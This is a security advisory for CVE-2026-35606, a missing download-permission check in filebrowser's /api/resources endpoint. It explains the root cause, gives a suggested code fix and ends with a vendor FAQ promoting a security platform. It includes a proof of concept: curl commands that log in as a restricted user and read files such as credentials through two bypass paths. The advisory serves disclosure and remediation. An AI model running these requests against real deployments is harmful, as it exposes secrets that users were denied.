CVE-2026-35606

The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.

Confirmed on v2.62.2 (commit 860c19d).

Root Cause

http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:

file, err := files.NewFileInfo(&files.FileOptions{
    ...
    Content:    true,  // Always loads text content, no permission check
})

Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.

Compare with the three protected endpoints:

// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }

// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }

// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }

PoC

Tested on filebrowser v2.62.2, built from HEAD.

# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false

# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')

# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)

# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2

# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"

A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.

This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

Kodem intelligence

Match the existing endpoint behavior (HTTP 202 for denied downloads):

Content: d.user.Perm.Download,  // Only load content when permitted

And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:

if !d.user.Perm.Download {
    return http.StatusAccepted, nil
}

Update: Fix submitted as PR #5891.

1. What is CVE-2026-35606? CVE-2026-35606 is a medium-severity missing authorization vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions < 2.63.1. It is fixed in 2.63.1. The application does not perform an authorization check before performing a sensitive operation.
2. Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-35606? github.com/filebrowser/filebrowser/v2 (go) versions < 2.63.1 is affected.
3. Is there a fix for CVE-2026-35606? Yes. CVE-2026-35606 is fixed in 2.63.1. Upgrade to this version or later.
4. Is CVE-2026-35606 exploitable, and should I be worried? Whether CVE-2026-35606 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-35606 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-35606? Upgrade github.com/filebrowser/filebrowser/v2 to 2.63.1 or later.